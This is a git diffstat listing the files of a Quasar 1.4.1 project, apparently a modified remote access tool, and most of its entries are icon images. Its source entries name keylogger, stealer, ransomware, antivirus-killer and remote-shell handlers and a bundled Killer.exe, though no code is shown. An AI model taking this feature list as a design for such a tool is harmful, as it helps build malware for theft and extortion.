Bin 0 -> 273 bytes Quasar-1.4.1/Quasar.Server/Images/tick.png | Bin 0 -> 537 bytes Quasar-1.4.1/Quasar.Server/Images/time.png | Bin 0 -> 793 bytes .../Quasar.Server/Images/transmit_blue.png | Bin 0 -> 814 bytes .../Quasar.Server/Images/uac_shield.png | Bin 0 -> 3556 bytes Quasar-1.4.1/Quasar.Server/Images/user.png | Bin 0 -> 741 bytes .../Quasar.Server/Images/user_add.png | Bin 0 -> 746 bytes .../Quasar.Server/Images/user_delete.png | Bin 0 -> 767 bytes .../Quasar.Server/Images/user_edit.png | Bin 0 -> 833 bytes Quasar-1.4.1/Quasar.Server/Images/webcam.png | Bin 0 -> 728 bytes Quasar-1.4.1/Quasar.Server/Images/website.png | Bin 0 -> 903 bytes Quasar-1.4.1/Quasar.Server/Images/word.png | Bin 0 -> 734 bytes Quasar-1.4.1/Quasar.Server/Images/world.png | Bin 0 -> 923 bytes .../Quasar.Server/Images/world_go.png | Bin 0 -> 944 bytes .../Quasar.Server/Images/world_link.png | Bin 0 -> 957 bytes Quasar-1.4.1/Quasar.Server/Images/wrench.png | Bin 0 -> 610 bytes Quasar-1.4.1/Quasar.Server/Images/zoom.png | Bin 0 -> 692 bytes Quasar-1.4.1/Quasar.Server/Images/zoom_in.png | Bin 0 -> 725 bytes .../Quasar.Server/Images/zoom_out.png | Bin 0 -> 708 bytes .../Quasar.Server/Licensing/LicenseManager.cs | 45 + .../Quasar.Server/Messages/AVKillerHandler.cs | 56 + .../Messages/BotKillerHandler.cs | 29 + .../Messages/ClientStatusHandler.cs | 112 + .../Messages/FileManagerHandler.cs | 587 +++++ .../Messages/IntelixStealerHandler.cs | 77 + .../Messages/KeyloggerHandler.cs | 165 ++ .../Messages/LiveKeyloggerHandler.cs | 55 + .../Messages/RansomwareHandler.cs | 59 + .../Quasar.Server/Messages/RegistryHandler.cs | 413 ++++ .../Messages/RemoteDesktopHandler.cs | 177 ++ .../Messages/RemoteDesktopHandler.cs.bak | 254 ++ .../Messages/RemoteShellHandler.cs | 89 + .../Messages/ReverseProxyHandler.cs | 127 + .../Messages/StartupManagerHandler.cs | 76 + .../Messages/SurvivalLogHandler.cs | 42 + .../Messages/SystemInformationHandler.cs | 73 + .../Messages/SystemOptionHandler.cs | 29 + .../Messages/TaskManagerHandler.cs | 133 + .../Messages/TcpConnectionsHandler.cs | 76 + .../Quasar.Server/Messages/WebcamHandler.cs | 51 + .../Quasar.Server/Models/BuildOptions.cs | 28 + .../Quasar.Server/Models/BuilderProfile.cs | 410 +++ .../Quasar.Server/Models/DummyCertificate.cs | 200 ++ .../Models/FileManagerListTag.cs | 17 + .../Quasar.Server/Models/FileTransfer.cs | 71 + Quasar-1.4.1/Quasar.Server/Models/Settings.cs | 261 ++ .../Quasar.Server/Networking/BufferPool.cs | 178 ++ .../Quasar.Server/Networking/Client.cs | 590 +++++ .../Quasar.Server/Networking/MockClient.cs | 153 ++ .../Quasar.Server/Networking/QuasarServer.cs | 164 ++ .../Quasar.Server/Networking/Server.cs | 421 ++++ .../Quasar.Server/Networking/UPnPService.cs | 77 + .../Networking/UdpFrameReceiver.cs | 132 + .../Quasar.Server/Networking/UserState.cs | 34 + Quasar-1.4.1/Quasar.Server/Program.cs | 78 + .../Quasar.Server/Properties/AssemblyInfo.cs | 34 + .../Properties/Resources.Designer.cs | 683 +++++ .../Quasar.Server/Properties/Resources.resx | 321 +++ .../Properties/Settings.Designer.cs | 122 + .../Properties/Settings.settings | 32 + .../Quasar.Server/Quasar.Server.csproj | 337 +++ .../Quasar.Server/Registry/RegValueHelper.cs | 44 + .../Quasar.Server/Resources/Killer.exe | Bin 0 -> 205312 bytes .../Quasar.Server/Resources/Silk/accept.png | Bin 0 -> 781 bytes .../Quasar.Server/Resources/Silk/add.png | Bin 0 -> 733 bytes .../Quasar.Server/Resources/Silk/anchor.png | Bin 0 -> 523 bytes .../Resources/Silk/application.png | Bin 0 -> 464 bytes .../Resources/Silk/application_add.png | Bin 0 -> 597 bytes .../Resources/Silk/application_cascade.png | Bin 0 -> 524 bytes .../Resources/Silk/application_delete.png | Bin 0 -> 610 bytes .../Resources/Silk/application_double.png | Bin 0 -> 533 bytes .../Resources/Silk/application_edit.png | Bin 0 -> 703 bytes .../Resources/Silk/application_error.png | Bin 0 -> 656 bytes .../Resources/Silk/application_form.png | Bin 0 -> 467 bytes .../Resources/Silk/application_form_add.png | Bin 0 -> 571 bytes .../Silk/application_form_delete.png | Bin 0 -> 598 bytes .../Resources/Silk/application_form_edit.png | Bin 0 -> 714 bytes .../Silk/application_form_magnify.png | Bin 0 -> 612 bytes .../Resources/Silk/application_get.png | Bin 0 -> 581 bytes .../Resources/Silk/application_go.png | Bin 0 -> 634 bytes .../Resources/Silk/application_home.png | Bin 0 -> 685 bytes .../Resources/Silk/application_key.png | Bin 0 -> 670 bytes .../Resources/Silk/application_lightning.png | Bin 0 -> 656 bytes .../Resources/Silk/application_link.png | Bin 0 -> 701 bytes .../Resources/Silk/application_osx.png | Bin 0 -> 487 bytes .../Silk/application_osx_terminal.png | Bin 0 -> 525 bytes .../Resources/Silk/application_put.png | Bin 0 -> 585 bytes .../Resources/Silk/application_side_boxes.png | Bin 0 -> 446 bytes .../Silk/application_side_contract.png | Bin 0 -> 547 bytes .../Silk/application_side_expand.png | Bin 0 -> 581 bytes .../Resources/Silk/application_side_list.png | Bin 0 -> 494 bytes .../Resources/Silk/application_side_tree.png | Bin 0 -> 457 bytes .../Resources/Silk/application_split.png | Bin 0 -> 520 bytes .../Silk/application_tile_horizontal.png | Bin 0 -> 432 bytes .../Silk/application_tile_vertical.png | Bin 0 -> 492 bytes .../Silk/application_view_columns.png | Bin 0 -> 464 bytes .../Silk/application_view_detail.png | Bin 0 -> 541 bytes .../Silk/application_view_gallery.png | Bin 0 -> 555 bytes .../Resources/Silk/application_view_icons.png | Bin 0 -> 410 bytes .../Resources/Silk/application_view_list.png | Bin 0 -> 473 bytes .../Resources/Silk/application_view_tile.png | Bin 0 -> 404 bytes .../Resources/Silk/application_xp.png | Bin 0 -> 426 bytes .../Silk/application_xp_terminal.png | Bin 0 -> 507 bytes .../Resources/Silk/arrow_branch.png | Bin 0 -> 582 bytes .../Resources/Silk/arrow_divide.png | Bin 0 -> 677 bytes .../Resources/Silk/arrow_down.png | Bin 0 -> 379 bytes .../Quasar.Server/Resources/Silk/arrow_in.png | Bin 0 -> 597 bytes .../Resources/Silk/arrow_inout.png | Bin 0 -> 551 bytes .../Resources/Silk/arrow_join.png | Bin 0 -> 626 bytes .../Resources/Silk/arrow_left.png | Bin 0 -> 344 bytes .../Resources/Silk/arrow_merge.png | Bin 0 -> 484 bytes .../Resources/Silk/arrow_out.png | Bin 0 -> 594 bytes .../Resources/Silk/arrow_redo.png | Bin 0 -> 625 bytes .../Resources/Silk/arrow_refresh.png | Bin 0 -> 685 bytes .../Resources/Silk/arrow_refresh_small.png | Bin 0 -> 492 bytes .../Resources/Silk/arrow_right.png | Bin 0 -> 332 bytes .../Silk/arrow_rotate_anticlockwise.png | Bin 0 -> 603 bytes .../Resources/Silk/arrow_rotate_clockwise.png | Bin 0 -> 593 bytes .../Resources/Silk/arrow_switch.png | Bin 0 -> 683 bytes .../Resources/Silk/arrow_turn_left.png | Bin 0 -> 512 bytes .../Resources/Silk/arrow_turn_right.png | Bin 0 -> 489 bytes .../Resources/Silk/arrow_undo.png | Bin 0 -> 631 bytes .../Quasar.Server/Resources/Silk/arrow_up.png | Bin 0 -> 372 bytes .../Resources/Silk/asterisk_orange.png | Bin 0 -> 760 bytes .../Resources/Silk/asterisk_yellow.png | Bin 0 -> 743 bytes .../Quasar.Server/Resources/Silk/attach.png | Bin 0 -> 338 bytes .../Resources/Silk/award_star_add.png | Bin 0 -> 853 bytes .../Resources/Silk/award_star_bronze_1.png | Bin 0 -> 733 bytes .../Resources/Silk/award_star_bronze_2.png | Bin 0 -> 755 bytes .../Resources/Silk/award_star_bronze_3.png | Bin 0 -> 754 bytes .../Resources/Silk/award_star_delete.png | Bin 0 -> 849 bytes .../Resources/Silk/award_star_gold_1.png | Bin 0 -> 753 bytes .../Resources/Silk/award_star_gold_2.png | Bin 0 -> 770 bytes .../Resources/Silk/award_star_gold_3.png | Bin 0 -> 781 bytes .../Resources/Silk/award_star_silver_1.png | Bin 0 -> 714 bytes .../Resources/Silk/award_star_silver_2.png | Bin 0 -> 734 bytes .../Resources/Silk/award_star_silver_3.png | Bin 0 -> 738 bytes .../Quasar.Server/Resources/Silk/basket.png | Bin 0 -> 669 bytes .../Resources/Silk/basket_add.png | Bin 0 -> 752 bytes .../Resources/Silk/basket_delete.png | Bin 0 -> 773 bytes .../Resources/Silk/basket_edit.png | Bin 0 -> 811 bytes .../Resources/Silk/basket_error.png | Bin 0 -> 794 bytes .../Resources/Silk/basket_go.png | Bin 0 -> 777 bytes .../Resources/Silk/basket_put.png | Bin 0 -> 733 bytes .../Resources/Silk/basket_remove.png | Bin 0 -> 738 bytes .../Quasar.Server/Resources/Silk/bell.png | Bin 0 -> 789 bytes .../Quasar.Server/Resources/Silk/bell_add.png | Bin 0 -> 816 bytes .../Resources/Silk/bell_delete.png | Bin 0 -> 824 bytes .../Resources/Silk/bell_error.png | Bin 0 -> 813 bytes .../Quasar.Server/Resources/Silk/bell_go.png | Bin 0 -> 836 bytes .../Resources/Silk/bell_link.png | Bin 0 -> 850 bytes .../Quasar.Server/Resources/Silk/bin.png | Bin 0 -> 423 bytes .../Resources/Silk/bin_closed.png | Bin 0 -> 310 bytes .../Resources/Silk/bin_empty.png | Bin 0 -> 422 bytes .../Quasar.Server/Resources/Silk/bomb.png | Bin 0 -> 793 bytes .../Quasar.Server/Resources/Silk/book.png | Bin 0 -> 593 bytes .../Quasar.Server/Resources/Silk/book_add.png | Bin 0 -> 714 bytes .../Resources/Silk/book_addresses.png | Bin 0 -> 770 bytes .../Resources/Silk/book_delete.png | Bin 0 -> 719 bytes .../Resources/Silk/book_edit.png | Bin 0 -> 813 bytes .../Resources/Silk/book_error.png | Bin 0 -> 734 bytes .../Quasar.Server/Resources/Silk/book_go.png | Bin 0 -> 745 bytes .../Quasar.Server/Resources/Silk/book_key.png | Bin 0 -> 779 bytes .../Resources/Silk/book_link.png | Bin 0 -> 789 bytes .../Resources/Silk/book_next.png | Bin 0 -> 702 bytes .../Resources/Silk/book_open.png | Bin 0 -> 622 bytes .../Resources/Silk/book_previous.png | Bin 0 -> 680 bytes .../Quasar.Server/Resources/Silk/box.png | Bin 0 -> 555 bytes .../Quasar.Server/Resources/Silk/brick.png | Bin 0 -> 399 bytes .../Resources/Silk/brick_add.png | Bin 0 -> 718 bytes .../Resources/Silk/brick_delete.png | Bin 0 -> 745 bytes .../Resources/Silk/brick_edit.png | Bin 0 -> 775 bytes .../Resources/Silk/brick_error.png | Bin 0 -> 798 bytes .../Quasar.Server/Resources/Silk/brick_go.png | Bin 0 -> 790 bytes .../Resources/Silk/brick_link.png | Bin 0 -> 764 bytes .../Quasar.Server/Resources/Silk/bricks.png | Bin 0 -> 825 bytes .../Resources/Silk/briefcase.png | Bin 0 -> 793 bytes .../Quasar.Server/Resources/Silk/bug.png | Bin 0 -> 774 bytes .../Quasar.Server/Resources/Silk/bug_add.png | Bin 0 -> 806 bytes .../Resources/Silk/bug_delete.png | Bin 0 -> 836 bytes .../Quasar.Server/Resources/Silk/bug_edit.png | Bin 0 -> 873 bytes .../Resources/Silk/bug_error.png | Bin 0 -> 841 bytes .../Quasar.Server/Resources/Silk/bug_go.png | Bin 0 -> 831 bytes .../Quasar.Server/Resources/Silk/bug_link.png | Bin 0 -> 847 bytes .../Quasar.Server/Resources/Silk/building.png | Bin 0 -> 556 bytes .../Resources/Silk/building_add.png | Bin 0 -> 631 bytes .../Resources/Silk/building_delete.png | Bin 0 -> 633 bytes .../Resources/Silk/building_edit.png | Bin 0 -> 731 bytes .../Resources/Silk/building_error.png | Bin 0 -> 653 bytes .../Resources/Silk/building_go.png | Bin 0 -> 665 bytes .../Resources/Silk/building_key.png | Bin 0 -> 705 bytes .../Resources/Silk/building_link.png | Bin 0 -> 668 bytes .../Resources/Silk/bullet_add.png | Bin 0 -> 262 bytes .../Resources/Silk/bullet_arrow_bottom.png | Bin 0 -> 229 bytes .../Resources/Silk/bullet_arrow_down.png | Bin 0 -> 201 bytes .../Resources/Silk/bullet_arrow_top.png | Bin 0 -> 230 bytes .../Resources/Silk/bullet_arrow_up.png | Bin 0 -> 201 bytes .../Resources/Silk/bullet_black.png | Bin 0 -> 211 bytes .../Resources/Silk/bullet_blue.png | Bin 0 -> 269 bytes .../Resources/Silk/bullet_delete.png | Bin 0 -> 289 bytes .../Resources/Silk/bullet_disk.png | Bin 0 -> 483 bytes .../Resources/Silk/bullet_error.png | Bin 0 -> 454 bytes .../Resources/Silk/bullet_feed.png | Bin 0 -> 262 bytes .../Resources/Silk/bullet_go.png | Bin 0 -> 389 bytes .../Resources/Silk/bullet_green.png | Bin 0 -> 269 bytes .../Resources/Silk/bullet_key.png | Bin 0 -> 415 bytes .../Resources/Silk/bullet_orange.png | Bin 0 -> 269 bytes .../Resources/Silk/bullet_picture.png | Bin 0 -> 470 bytes .../Resources/Silk/bullet_pink.png | Bin 0 -> 266 bytes .../Resources/Silk/bullet_purple.png | Bin 0 -> 269 bytes .../Resources/Silk/bullet_red.png | Bin 0 -> 269 bytes .../Resources/Silk/bullet_star.png | Bin 0 -> 325 bytes .../Resources/Silk/bullet_toggle_minus.png | Bin 0 -> 207 bytes .../Resources/Silk/bullet_toggle_plus.png | Bin 0 -> 209 bytes .../Resources/Silk/bullet_white.png | Bin 0 -> 201 bytes .../Resources/Silk/bullet_wrench.png | Bin 0 -> 433 bytes .../Resources/Silk/bullet_yellow.png | Bin 0 -> 269 bytes .../Quasar.Server/Resources/Silk/cake.png | Bin 0 -> 676 bytes .../Resources/Silk/calculator.png | Bin 0 -> 543 bytes .../Resources/Silk/calculator_add.png | Bin 0 -> 660 bytes .../Resources/Silk/calculator_delete.png | Bin 0 -> 692 bytes .../Resources/Silk/calculator_edit.png | Bin 0 -> 767 bytes .../Resources/Silk/calculator_error.png | Bin 0 -> 731 bytes .../Resources/Silk/calculator_link.png | Bin 0 -> 723 bytes .../Quasar.Server/Resources/Silk/calendar.png | Bin 0 -> 675 bytes .../Resources/Silk/calendar_add.png | Bin 0 -> 723 bytes .../Resources/Silk/calendar_delete.png | Bin 0 -> 742 bytes .../Resources/Silk/calendar_edit.png | Bin 0 -> 777 bytes .../Resources/Silk/calendar_link.png | Bin 0 -> 795 bytes .../Resources/Silk/calendar_view_day.png | Bin 0 -> 572 bytes .../Resources/Silk/calendar_view_month.png | Bin 0 -> 595 bytes .../Resources/Silk/calendar_view_week.png | Bin 0 -> 480 bytes .../Quasar.Server/Resources/Silk/camera.png | Bin 0 -> 665 bytes .../Resources/Silk/camera_add.png | Bin 0 -> 800 bytes .../Resources/Silk/camera_delete.png | Bin 0 -> 797 bytes .../Resources/Silk/camera_edit.png | Bin 0 -> 872 bytes .../Resources/Silk/camera_error.png | Bin 0 -> 835 bytes .../Resources/Silk/camera_go.png | Bin 0 -> 809 bytes .../Resources/Silk/camera_link.png | Bin 0 -> 839 bytes .../Resources/Silk/camera_small.png | Bin 0 -> 489 bytes .../Quasar.Server/Resources/Silk/cancel.png | Bin 0 -> 587 bytes .../Quasar.Server/Resources/Silk/car.png | Bin 0 -> 610 bytes .../Quasar.Server/Resources/Silk/car_add.png | Bin 0 -> 677 bytes .../Resources/Silk/car_delete.png | Bin 0 -> 689 bytes .../Quasar.Server/Resources/Silk/cart.png | Bin 0 -> 368 bytes .../Quasar.Server/Resources/Silk/cart_add.png | Bin 0 -> 711 bytes .../Resources/Silk/cart_delete.png | Bin 0 -> 742 bytes .../Resources/Silk/cart_edit.png | Bin 0 -> 789 bytes .../Resources/Silk/cart_error.png | Bin 0 -> 790 bytes .../Quasar.Server/Resources/Silk/cart_go.png | Bin 0 -> 763 bytes .../Quasar.Server/Resources/Silk/cart_put.png | Bin 0 -> 763 bytes .../Resources/Silk/cart_remove.png | Bin 0 -> 769 bytes .../Quasar.Server/Resources/Silk/cd.png | Bin 0 -> 673 bytes .../Quasar.Server/Resources/Silk/cd_add.png | Bin 0 -> 758 bytes .../Quasar.Server/Resources/Silk/cd_burn.png | Bin 0 -> 756 bytes .../Resources/Silk/cd_delete.png | Bin 0 -> 767 bytes .../Quasar.Server/Resources/Silk/cd_edit.png | Bin 0 -> 790 bytes .../Quasar.Server/Resources/Silk/cd_eject.png | Bin 0 -> 786 bytes .../Quasar.Server/Resources/Silk/cd_go.png | Bin 0 -> 793 bytes .../Resources/Silk/chart_bar.png | Bin 0 -> 541 bytes .../Resources/Silk/chart_bar_add.png | Bin 0 -> 626 bytes .../Resources/Silk/chart_bar_delete.png | Bin 0 -> 636 bytes .../Resources/Silk/chart_bar_edit.png | Bin 0 -> 754 bytes .../Resources/Silk/chart_bar_error.png | Bin 0 -> 671 bytes .../Resources/Silk/chart_bar_link.png | Bin 0 -> 712 bytes .../Resources/Silk/chart_curve.png | Bin 0 -> 710 bytes .../Resources/Silk/chart_curve_add.png | Bin 0 -> 761 bytes .../Resources/Silk/chart_curve_delete.png | Bin 0 -> 782 bytes .../Resources/Silk/chart_curve_edit.png | Bin 0 -> 822 bytes .../Resources/Silk/chart_curve_error.png | Bin 0 -> 837 bytes .../Resources/Silk/chart_curve_go.png | Bin 0 -> 823 bytes .../Resources/Silk/chart_curve_link.png | Bin 0 -> 829 bytes .../Resources/Silk/chart_line.png | Bin 0 -> 526 bytes .../Resources/Silk/chart_line_add.png | Bin 0 -> 655 bytes .../Resources/Silk/chart_line_delete.png | Bin 0 -> 675 bytes .../Resources/Silk/chart_line_edit.png | Bin 0 -> 718 bytes .../Resources/Silk/chart_line_error.png | Bin 0 -> 741 bytes .../Resources/Silk/chart_line_link.png | Bin 0 -> 749 bytes .../Resources/Silk/chart_organisation.png | Bin 0 -> 434 bytes .../Resources/Silk/chart_organisation_add.png | Bin 0 -> 515 bytes .../Silk/chart_organisation_delete.png | Bin 0 -> 541 bytes .../Resources/Silk/chart_pie.png | Bin 0 -> 918 bytes .../Resources/Silk/chart_pie_add.png | Bin 0 -> 975 bytes .../Resources/Silk/chart_pie_delete.png | Bin 0 -> 983 bytes .../Resources/Silk/chart_pie_edit.png | Bin 0 -> 986 bytes .../Resources/Silk/chart_pie_error.png | Bin 0 -> 989 bytes .../Resources/Silk/chart_pie_link.png | Bin 0 -> 1021 bytes .../Quasar.Server/Resources/Silk/clock.png | Bin 0 -> 882 bytes .../Resources/Silk/clock_add.png | Bin 0 -> 925 bytes .../Resources/Silk/clock_delete.png | Bin 0 -> 952 bytes .../Resources/Silk/clock_edit.png | Bin 0 -> 967 bytes .../Resources/Silk/clock_error.png | Bin 0 -> 953 bytes .../Quasar.Server/Resources/Silk/clock_go.png | Bin 0 -> 959 bytes .../Resources/Silk/clock_link.png | Bin 0 -> 961 bytes .../Resources/Silk/clock_pause.png | Bin 0 -> 927 bytes .../Resources/Silk/clock_play.png | Bin 0 -> 943 bytes .../Resources/Silk/clock_red.png | Bin 0 -> 889 bytes .../Resources/Silk/clock_stop.png | Bin 0 -> 922 bytes .../Quasar.Server/Resources/Silk/cog.png | Bin 0 -> 459 bytes .../Quasar.Server/Resources/Silk/cog_add.png | Bin 0 -> 814 bytes .../Resources/Silk/cog_delete.png | Bin 0 -> 847 bytes .../Quasar.Server/Resources/Silk/cog_edit.png | Bin 0 -> 865 bytes .../Resources/Silk/cog_error.png | Bin 0 -> 869 bytes .../Quasar.Server/Resources/Silk/cog_go.png | Bin 0 -> 859 bytes .../Quasar.Server/Resources/Silk/coins.png | Bin 0 -> 732 bytes .../Resources/Silk/coins_add.png | Bin 0 -> 789 bytes .../Resources/Silk/coins_delete.png | Bin 0 -> 775 bytes .../Resources/Silk/color_swatch.png | Bin 0 -> 152 bytes .../Resources/Silk/color_wheel.png | Bin 0 -> 892 bytes .../Quasar.Server/Resources/Silk/comment.png | Bin 0 -> 413 bytes .../Resources/Silk/comment_add.png | Bin 0 -> 530 bytes .../Resources/Silk/comment_delete.png | Bin 0 -> 548 bytes .../Resources/Silk/comment_edit.png | Bin 0 -> 644 bytes .../Quasar.Server/Resources/Silk/comments.png | Bin 0 -> 557 bytes .../Resources/Silk/comments_add.png | Bin 0 -> 648 bytes .../Resources/Silk/comments_delete.png | Bin 0 -> 670 bytes .../Quasar.Server/Resources/Silk/compress.png | Bin 0 -> 766 bytes .../Quasar.Server/Resources/Silk/computer.png | Bin 0 -> 667 bytes .../Resources/Silk/computer_add.png | Bin 0 -> 781 bytes .../Resources/Silk/computer_delete.png | Bin 0 -> 775 bytes .../Resources/Silk/computer_edit.png | Bin 0 -> 792 bytes .../Resources/Silk/computer_error.png | Bin 0 -> 784 bytes .../Resources/Silk/computer_go.png | Bin 0 -> 777 bytes .../Resources/Silk/computer_key.png | Bin 0 -> 771 bytes .../Resources/Silk/computer_link.png | Bin 0 -> 792 bytes .../Quasar.Server/Resources/Silk/connect.png | Bin 0 -> 748 bytes .../Quasar.Server/Resources/Silk/contrast.png | Bin 0 -> 381 bytes .../Resources/Silk/contrast_decrease.png | Bin 0 -> 695 bytes .../Resources/Silk/contrast_high.png | Bin 0 -> 382 bytes .../Resources/Silk/contrast_increase.png | Bin 0 -> 717 bytes .../Resources/Silk/contrast_low.png | Bin 0 -> 368 bytes .../Resources/Silk/control_eject.png | Bin 0 -> 603 bytes .../Resources/Silk/control_eject_blue.png | Bin 0 -> 722 bytes .../Resources/Silk/control_end.png | Bin 0 -> 621 bytes .../Resources/Silk/control_end_blue.png | Bin 0 -> 736 bytes .../Resources/Silk/control_equalizer.png | Bin 0 -> 379 bytes .../Resources/Silk/control_equalizer_blue.png | Bin 0 -> 759 bytes .../Resources/Silk/control_fastforward.png | Bin 0 -> 607 bytes .../Silk/control_fastforward_blue.png | Bin 0 -> 730 bytes .../Resources/Silk/control_pause.png | Bin 0 -> 598 bytes .../Resources/Silk/control_pause_blue.png | Bin 0 -> 708 bytes .../Resources/Silk/control_play.png | Bin 0 -> 592 bytes .../Resources/Silk/control_play_blue.png | Bin 0 -> 717 bytes .../Resources/Silk/control_repeat.png | Bin 0 -> 369 bytes .../Resources/Silk/control_repeat_blue.png | Bin 0 -> 750 bytes .../Resources/Silk/control_rewind.png | Bin 0 -> 614 bytes .../Resources/Silk/control_rewind_blue.png | Bin 0 -> 738 bytes .../Resources/Silk/control_start.png | Bin 0 -> 604 bytes .../Resources/Silk/control_start_blue.png | Bin 0 -> 713 bytes .../Resources/Silk/control_stop.png | Bin 0 -> 350 bytes .../Resources/Silk/control_stop_blue.png | Bin 0 -> 691 bytes .../Resources/Silk/controller.png | Bin 0 -> 666 bytes .../Resources/Silk/controller_add.png | Bin 0 -> 759 bytes .../Resources/Silk/controller_delete.png | Bin 0 -> 770 bytes .../Resources/Silk/controller_error.png | Bin 0 -> 815 bytes .../Resources/Silk/creditcards.png | Bin 0 -> 693 bytes .../Quasar.Server/Resources/Silk/cross.png | Bin 0 -> 655 bytes .../Quasar.Server/Resources/Silk/css.png | Bin 0 -> 524 bytes .../Quasar.Server/Resources/Silk/css_add.png | Bin 0 -> 666 bytes .../Resources/Silk/css_delete.png | Bin 0 -> 654 bytes .../Quasar.Server/Resources/Silk/css_go.png | Bin 0 -> 655 bytes .../Resources/Silk/css_valid.png | Bin 0 -> 661 bytes .../Quasar.Server/Resources/Silk/cup.png | Bin 0 -> 633 bytes .../Quasar.Server/Resources/Silk/cup_add.png | Bin 0 -> 715 bytes .../Resources/Silk/cup_delete.png | Bin 0 -> 731 bytes .../Quasar.Server/Resources/Silk/cup_edit.png | Bin 0 -> 778 bytes .../Resources/Silk/cup_error.png | Bin 0 -> 790 bytes .../Quasar.Server/Resources/Silk/cup_go.png | Bin 0 -> 780 bytes .../Quasar.Server/Resources/Silk/cup_key.png | Bin 0 -> 776 bytes .../Quasar.Server/Resources/Silk/cup_link.png | Bin 0 -> 760 bytes .../Quasar.Server/Resources/Silk/cursor.png | Bin 0 -> 301 bytes .../Quasar.Server/Resources/Silk/cut.png | Bin 0 -> 648 bytes .../Quasar.Server/Resources/Silk/cut_red.png | Bin 0 -> 650 bytes .../Quasar.Server/Resources/Silk/database.png | Bin 0 -> 337 bytes .../Resources/Silk/database_add.png | Bin 0 -> 658 bytes .../Resources/Silk/database_connect.png | Bin 0 -> 763 bytes .../Resources/Silk/database_delete.png | Bin 0 -> 659 bytes .../Resources/Silk/database_edit.png | Bin 0 -> 767 bytes .../Resources/Silk/database_error.png | Bin 0 -> 682 bytes .../Resources/Silk/database_gear.png | Bin 0 -> 415 bytes .../Resources/Silk/database_go.png | Bin 0 -> 698 bytes .../Resources/Silk/database_key.png | Bin 0 -> 764 bytes .../Resources/Silk/database_lightning.png | Bin 0 -> 775 bytes .../Resources/Silk/database_link.png | Bin 0 -> 679 bytes .../Resources/Silk/database_refresh.png | Bin 0 -> 770 bytes .../Resources/Silk/database_save.png | Bin 0 -> 755 bytes .../Resources/Silk/database_table.png | Bin 0 -> 726 bytes .../Quasar.Server/Resources/Silk/date.png | Bin 0 -> 616 bytes .../Quasar.Server/Resources/Silk/date_add.png | Bin 0 -> 682 bytes .../Resources/Silk/date_delete.png | Bin 0 -> 714 bytes .../Resources/Silk/date_edit.png | Bin 0 -> 799 bytes .../Resources/Silk/date_error.png | Bin 0 -> 753 bytes .../Quasar.Server/Resources/Silk/date_go.png | Bin 0 -> 744 bytes .../Resources/Silk/date_link.png | Bin 0 -> 764 bytes .../Resources/Silk/date_magnify.png | Bin 0 -> 711 bytes .../Resources/Silk/date_next.png | Bin 0 -> 688 bytes .../Resources/Silk/date_previous.png | Bin 0 -> 716 bytes .../Quasar.Server/Resources/Silk/delete.png | Bin 0 -> 715 bytes .../Resources/Silk/disconnect.png | Bin 0 -> 796 bytes .../Quasar.Server/Resources/Silk/disk.png | Bin 0 -> 620 bytes .../Resources/Silk/disk_multiple.png | Bin 0 -> 691 bytes .../Quasar.Server/Resources/Silk/door.png | Bin 0 -> 412 bytes .../Quasar.Server/Resources/Silk/door_in.png | Bin 0 -> 693 bytes .../Resources/Silk/door_open.png | Bin 0 -> 508 bytes .../Quasar.Server/Resources/Silk/door_out.png | Bin 0 -> 688 bytes .../Quasar.Server/Resources/Silk/drink.png | Bin 0 -> 692 bytes .../Resources/Silk/drink_empty.png | Bin 0 -> 380 bytes .../Quasar.Server/Resources/Silk/drive.png | Bin 0 -> 293 bytes .../Resources/Silk/drive_add.png | Bin 0 -> 623 bytes .../Resources/Silk/drive_burn.png | Bin 0 -> 608 bytes .../Quasar.Server/Resources/Silk/drive_cd.png | Bin 0 -> 734 bytes .../Resources/Silk/drive_cd_empty.png | Bin 0 -> 288 bytes .../Resources/Silk/drive_delete.png | Bin 0 -> 628 bytes .../Resources/Silk/drive_disk.png | Bin 0 -> 695 bytes .../Resources/Silk/drive_edit.png | Bin 0 -> 714 bytes .../Resources/Silk/drive_error.png | Bin 0 -> 705 bytes .../Quasar.Server/Resources/Silk/drive_go.png | Bin 0 -> 661 bytes .../Resources/Silk/drive_key.png | Bin 0 -> 681 bytes .../Resources/Silk/drive_link.png | Bin 0 -> 679 bytes .../Resources/Silk/drive_magnify.png | Bin 0 -> 641 bytes .../Resources/Silk/drive_network.png | Bin 0 -> 585 bytes .../Resources/Silk/drive_rename.png | Bin 0 -> 494 bytes .../Resources/Silk/drive_user.png | Bin 0 -> 712 bytes .../Resources/Silk/drive_web.png | Bin 0 -> 686 bytes .../Quasar.Server/Resources/Silk/dvd.png | Bin 0 -> 764 bytes .../Quasar.Server/Resources/Silk/dvd_add.png | Bin 0 -> 788 bytes .../Resources/Silk/dvd_delete.png | Bin 0 -> 800 bytes .../Quasar.Server/Resources/Silk/dvd_edit.png | Bin 0 -> 844 bytes .../Resources/Silk/dvd_error.png | Bin 0 -> 854 bytes .../Quasar.Server/Resources/Silk/dvd_go.png | Bin 0 -> 854 bytes .../Quasar.Server/Resources/Silk/dvd_key.png | Bin 0 -> 816 bytes .../Quasar.Server/Resources/Silk/dvd_link.png | Bin 0 -> 819 bytes .../Quasar.Server/Resources/Silk/email.png | Bin 0 -> 641 bytes .../Resources/Silk/email_add.png | Bin 0 -> 761 bytes .../Resources/Silk/email_attach.png | Bin 0 -> 793 bytes .../Resources/Silk/email_delete.png | Bin 0 -> 756 bytes .../Resources/Silk/email_edit.png | Bin 0 -> 756 bytes .../Resources/Silk/email_error.png | Bin 0 -> 792 bytes .../Quasar.Server/Resources/Silk/email_go.png | Bin 0 -> 754 bytes .../Resources/Silk/email_link.png | Bin 0 -> 821 bytes .../Resources/Silk/email_open.png | Bin 0 -> 783 bytes .../Resources/Silk/email_open_image.png | Bin 0 -> 811 bytes .../Resources/Silk/emoticon_evilgrin.png | Bin 0 -> 727 bytes .../Resources/Silk/emoticon_grin.png | Bin 0 -> 714 bytes .../Resources/Silk/emoticon_happy.png | Bin 0 -> 731 bytes .../Resources/Silk/emoticon_smile.png | Bin 0 -> 725 bytes .../Resources/Silk/emoticon_surprised.png | Bin 0 -> 741 bytes .../Resources/Silk/emoticon_tongue.png | Bin 0 -> 727 bytes .../Resources/Silk/emoticon_unhappy.png | Bin 0 -> 723 bytes .../Resources/Silk/emoticon_waii.png | Bin 0 -> 737 bytes .../Resources/Silk/emoticon_wink.png | Bin 0 -> 712 bytes .../Quasar.Server/Resources/Silk/error.png | Bin 0 -> 666 bytes .../Resources/Silk/error_add.png | Bin 0 -> 710 bytes .../Resources/Silk/error_delete.png | Bin 0 -> 729 bytes .../Quasar.Server/Resources/Silk/error_go.png | Bin 0 -> 734 bytes 